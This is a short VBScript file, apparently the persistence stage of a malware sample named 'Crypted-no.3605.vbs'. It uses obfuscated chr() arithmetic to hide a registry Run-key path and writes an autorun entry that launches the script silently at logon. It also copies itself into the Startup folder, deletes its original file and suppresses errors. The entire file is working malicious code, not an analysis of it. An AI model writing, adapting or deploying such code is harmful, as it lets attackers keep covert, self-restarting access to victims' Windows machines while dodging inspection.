dim shellobj
set shellobj = createobject("wscript.shell")
dim filesystemobj
set filesystemobj = createobject("scripting.filesystemobject")
on error resume Next

shellobj.regwrite chr( 158328/2199 ) & chr( -7016+7091 ) & chr( -9617+9686 ) & chr( 5236-5147 ) & chr( -8115+8210 ) & chr( -5979+6046 ) & chr( 337025/3965 ) & chr( 556698/6789 ) & chr( 1284-1202 ) & chr( 475065/6885 ) & chr( 6837-6759 ) & chr( 767424/9136 ) & chr( 7191-7096 ) & chr( -2828+2913 ) & chr( -7738+7821 ) & chr( 10014-9945 ) & chr( 469286/5723 ) & chr( 238556/2593 ) & chr( 380190/3306 ) & chr( -4523+4634 ) & chr( 5919-5817 ) & chr( -4426+4542 ) & chr( -659+778 ) & chr( -1174+1271 ) & chr( 94+20 ) & chr( 2636-2535 ) & chr( -4116+4208 ) & chr( -5477+5586 ) & chr( 1037295/9879 ) & chr( 49698/502 ) & chr( 1022694/8971 ) & chr( -5851+5962 ) & chr( -735+850 ) & chr( -7420+7531 ) & chr( -6747+6849 ) & chr( 8555-8439 ) & chr( 7385-7293 ) & chr( 340816/2864 ) & chr( 108255/1031 ) & chr( -1603+1713 ) & chr( 747300/7473 ) & chr( 1013-902 ) & chr( 1231-1112 ) & chr( 2252-2137 ) & chr( 787888/8564 ) & chr( 613701/6199 ) & chr( 946764/8092 ) & chr( 994080/8720 ) & chr( 187416/1644 ) & chr( 855268/8468 ) & chr( -9269+9379 ) & chr( 8242-8126 ) & chr( 6819-6701 ) & chr( 7677-7576 ) & chr( 3901-3787 ) & chr( 1112855/9677 ) & chr( -7519+7624 ) & chr( 8660-8549 ) & chr( -6424+6534 ) & chr( 32292/351 ) & chr( 822054/7211 ) & chr( 768222/6566 ) & chr( 4358-4248 ) & chr( 9872-9780 ) & split ("Crypted-no.3605.vbs",".")(0),  "wscript.exe //B " & chrw(34) & "C:\Users\Admin\AppData\Roaming\" & "Crypted-no.3605.vbs" & chrw(34) , "REG_SZ"
shellobj.regwrite chr( 158328/2199 ) & chr( -7016+7091 ) & chr( -9617+9686 ) & chr( 5236-5147 ) & chr( -8115+8210 ) & chr( -5979+6046 ) & chr( 337025/3965 ) & chr( 556698/6789 ) & chr( 1284-1202 ) & chr( 475065/6885 ) & chr( 6837-6759 ) & chr( 767424/9136 ) & chr( 7191-7096 ) & chr( -2828+2913 ) & chr( -7738+7821 ) & chr( 10014-9945 ) & chr( 469286/5723 ) & chr( 238556/2593 ) & chr( 380190/3306 ) & chr( -4523+4634 ) & chr( 5919-5817 ) & chr( -4426+4542 ) & chr( -659+778 ) & chr( -1174+1271 ) & chr( 94+20 ) & chr( 2636-2535 ) & chr( -4116+4208 ) & chr( -5477+5586 ) & chr( 1037295/9879 ) & chr( 49698/502 ) & chr( 1022694/8971 ) & chr( -5851+5962 ) & chr( -735+850 ) & chr( -7420+7531 ) & chr( -6747+6849 ) & chr( 8555-8439 ) & chr( 7385-7293 ) & chr( 340816/2864 ) & chr( 108255/1031 ) & chr( -1603+1713 ) & chr( 747300/7473 ) & chr( 1013-902 ) & chr( 1231-1112 ) & chr( 2252-2137 ) & chr( 787888/8564 ) & chr( 613701/6199 ) & chr( 946764/8092 ) & chr( 994080/8720 ) & chr( 187416/1644 ) & chr( 855268/8468 ) & chr( -9269+9379 ) & chr( 8242-8126 ) & chr( 6819-6701 ) & chr( 7677-7576 ) & chr( 3901-3787 ) & chr( 1112855/9677 ) & chr( -7519+7624 ) & chr( 8660-8549 ) & chr( -6424+6534 ) & chr( 32292/351 ) & chr( 822054/7211 ) & chr( 768222/6566 ) & chr( 4358-4248 ) & chr( 9872-9780 ) & split ("Crypted-no.3605.vbs",".")(0),  "wscript.exe //B "  & chrw(34) & "C:\Users\Admin\AppData\Roaming\" & "Crypted-no.3605.vbs" & chrw(34) , "REG_SZ"
filesystemobj.copyfile "C:\Users\Admin\AppData\Roaming\Crypted-no.3605.vbs","C:\Users\Admin\AppData\Roaming\" & "Crypted-no.3605.vbs",true
filesystemobj.copyfile "C:\Users\Admin\AppData\Roaming\Crypted-no.3605.vbs","C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Crypted-no.3605.vbs" ,true
filesystemobj.deletefile wscript.scriptfullname ,true
wscript.quit